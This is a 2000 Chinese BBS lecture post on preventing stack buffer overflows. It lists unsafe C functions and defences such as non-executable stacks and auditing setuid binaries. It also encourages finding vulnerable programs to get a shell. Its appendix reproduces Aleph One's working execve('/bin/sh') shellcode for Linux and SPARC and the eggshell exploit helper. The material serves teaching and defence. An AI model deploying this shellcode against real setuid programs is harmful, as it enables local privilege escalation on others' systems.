BBS水木清华站∶精华区

发信人: ipxodi (乐乐~闭关苦攒论文中), 信区: Hacker        
标  题: 堆栈溢出系列讲座(6) 
发信站: BBS 水木清华站 (Tue Feb 22 16:44:38 2000) 
 
堆栈溢出系列讲座 
                防范堆栈溢出 
                 
1:寻找漏洞 
 
我们已经看到堆栈溢出的危害,那么什么程序会有堆栈溢出的隐患呢? 
 
首先是strcpy,很多问题都出在他身上。 
 
其他的,还有: 
 
1:很多与字符串操作相关的函数都是有问题的。它们是: 
strcat(), strcpy(),sprintf(), and vsprintf()。 
 
2:带有可变参数的函数,比如:所有printf的变种,(除了printf) 
fprintf()... 
因为这些函数都使用了vsprintf(buf, fmt, ap);来将格式化的字符串和参数结合 
, 
输出到buffer中去,所以都有堆栈溢出的危险。 
 
3:内部调用了strcpy的函数 
gets(),getc(), fgetc(), or getchar()... 
 
 
4:scanf()以及所有scanf的变种。 
vcscanf(),sscanf(),fscanf()... 
因为scanf可以接受参数%s,来进行串复制,而不考虑串的边界。 
 
 
有以上函数的程序,都是危险的。 
 
另外,所有链接了Xt lib的程序,都是有问题的程序。 
 
在linux里面,你可以查找所有的原代码,grep上述这些函数。如果没有原代码, 
你可以 
使用strings命令察看目标程序里面的字符串,看看有没有:"input什么的","%s" 
什么的 
,还可以使用()命令来察看程序使用了哪些库函数。 
 
一旦发现有隐患的程序,你就可以使用前面讲过的各种方法来试验。相信很快就可 
以 
发现一个漏洞并且得到shell。 
 
2:防范措施: 
 
当然最好的方法就是把堆栈段设置成不可执行。本来堆栈段就是放数据的吗!我们 
的 
shellcode由于是在堆栈里面,所以将会彻底没戏。但是,这需要操作系统的支持 
才可以 
。solaris现在已经可以实现这个功能.Linux目前我不清楚。 
 
另外,不要随便编写setuid的程序。而且在写setuid的程序的时候,千万要小心, 
不要 
出现上面说的哪些问题函数,或者,附加边界检查。 
 
你的机器上的setuid程序的个数和名字,你应该定期检查。对于很少用的setuid程 
序, 
干脆就去掉setuid位得了。 
 
最后,新的漏洞是层出不穷的,精华区里面有很多安全网址。 
你(网管)应该每天去这些地方拜会。希望你紧跟时代,勤打补丁。 
 
3:附录: 
下面这些宝贝是从Aleph One的经典名著 “Smashing The Stack For Fun And  
Profit” 
的附录考过来的。主要是为了方便大家使用,省得找了。 
 
     Appendix A - Shellcode for Different Operating  
Systems/Architectures 
      
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
 
i386/Linux 
------------------------------------------------------------------------ 
------ 
        jmp    0x1f 
        popl   %esi 
        movl   %esi,0x8(%esi) 
        xorl   %eax,%eax 
        movb   %eax,0x7(%esi) 
        movl   %eax,0xc(%esi) 
        movb   $0xb,%al 
        movl   %esi,%ebx 
        leal   0x8(%esi),%ecx 
        leal   0xc(%esi),%edx 
        int    $0x80 
        xorl   %ebx,%ebx 
        movl   %ebx,%eax 
        inc    %eax 
        int    $0x80 
        call   -0x24 
        .string \"/bin/sh\" 
------------------------------------------------------------------------ 
------ 
 
SPARC/Solaris 
------------------------------------------------------------------------ 
------ 
        sethi   0xbd89a, %l6 
        or      %l6, 0x16e, %l6 
        sethi   0xbdcda, %l7 
        and     %sp, %sp, %o0 
        add     %sp, 8, %o1 
        xor     %o2, %o2, %o2 
        add     %sp, 16, %sp 
        std     %l6, [%sp - 16] 
        st      %sp, [%sp - 8] 
        st      %g0, [%sp - 4] 
        mov     0x3b, %g1 
        ta      8 
        xor     %o7, %o7, %o0 
        mov     1, %g1 
        ta      8 
------------------------------------------------------------------------ 
------ 
 
SPARC/SunOS 
------------------------------------------------------------------------ 
------ 
        sethi   0xbd89a, %l6 
        or      %l6, 0x16e, %l6 
        sethi   0xbdcda, %l7 
        and     %sp, %sp, %o0 
        add     %sp, 8, %o1 
        xor     %o2, %o2, %o2 
        add     %sp, 16, %sp 
        std     %l6, [%sp - 16] 
        st      %sp, [%sp - 8] 
        st      %g0, [%sp - 4] 
        mov     0x3b, %g1 
        mov     -0x1, %l5 
        ta      %l5 + 1 
        xor     %o7, %o7, %o0 
        mov     1, %g1 
        ta      %l5 + 1 
------------------------------------------------------------------------ 
------ 
 
 
                 Appendix B - Generic Buffer Overflow Program 
                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
 
shellcode.h 
------------------------------------------------------------------------ 
------ 
#if defined(__i386__) && defined(__linux__) 
 
#define NOP_SIZE        1 
char nop[] = "\x90"; 
char shellcode[] = 
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 
  "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 
 
unsigned long get_sp(void) { 
   __asm__("movl %esp,%eax"); 

 
#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__) 
 
#define NOP_SIZE        4 
char nop[]="\xac\x15\xa1\x6e"; 
char shellcode[] = 
  "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" 
  "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" 
  "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08" 
  "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08"; 
 
unsigned long get_sp(void) { 
  __asm__("or %sp, %sp, %i0"); 

 
#elif defined(__sparc__) && defined(__sun__) 
 
#define NOP_SIZE        4 
char nop[]="\xac\x15\xa1\x6e"; 
char shellcode[] = 
  "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" 
  "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" 
  "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff" 
  "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01"; 
 
unsigned long get_sp(void) { 
  __asm__("or %sp, %sp, %i0"); 

 
#endif 
------------------------------------------------------------------------ 
------ 
 
eggshell.c 
------------------------------------------------------------------------ 
------ 
/* 
 * eggshell v1.0 
 * 
 * Aleph One / aleph1@underground.org 
 */ 
#include <stdlib.h> 
#include <stdio.h> 
#include "shellcode.h" 
 
#define DEFAULT_OFFSET                    0 
#define DEFAULT_BUFFER_SIZE             512 
#define DEFAULT_EGG_SIZE               2048 
 
void usage(void); 
 
void main(int argc, char *argv[]) { 
  char *ptr, *bof, *egg; 
  long *addr_ptr, addr; 
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; 
  int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE; 
 
  while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF) 
    switch (c) { 
      case 'a': 
        align = atoi(optarg); 
        break; 
      case 'b': 
        bsize = atoi(optarg); 
        break; 
      case 'e': 
        eggsize = atoi(optarg); 
        break; 
      case 'o': 
        offset = atoi(optarg); 
        break; 
      case '?': 
        usage(); 
        exit(0); 
    } 
 
  if (strlen(shellcode) > eggsize) { 
    printf("Shellcode is larger the the egg.\n"); 
    exit(0); 
  } 
 
  if (!(bof = malloc(bsize))) { 
    printf("Can't allocate memory.\n"); 
    exit(0); 
  } 
  if (!(egg = malloc(eggsize))) { 
    printf("Can't allocate memory.\n"); 
    exit(0); 
  } 
 
  addr = get_sp() - offset; 
  printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n", 
    bsize, eggsize, align); 
  printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset); 
 
  addr_ptr = (long *) bof; 
  for (i = 0; i < bsize; i+=4) 
    *(addr_ptr++) = addr; 
 
  ptr = egg; 
  for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i +=  
NOP_SIZE) 
    for (n = 0; n < NOP_SIZE; n++) { 
      m = (n + align) % NOP_SIZE; 
      *(ptr++) = nop[m]; 
    } 
 
  for (i = 0; i < strlen(shellcode); i++) 
    *(ptr++) = shellcode[i]; 
 
  bof[bsize - 1] = '\0'; 
  egg[eggsize - 1] = '\0'; 
 
  memcpy(egg,"EGG=",4); 
  putenv(egg); 
 
  memcpy(bof,"BOF=",4); 
  putenv(bof); 
  system("/bin/sh"); 

 
void usage(void) { 
  (void)fprintf(stderr, 
    "usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>]  
[-o <offset>]\n"); 

------------------------------------------------------------------------ 
------ 
 
-- 
知足长乐 
 
※ 来源:·BBS 水木清华站 smth.org·[FROM: 202.112.101.131] 

BBS水木清华站∶精华区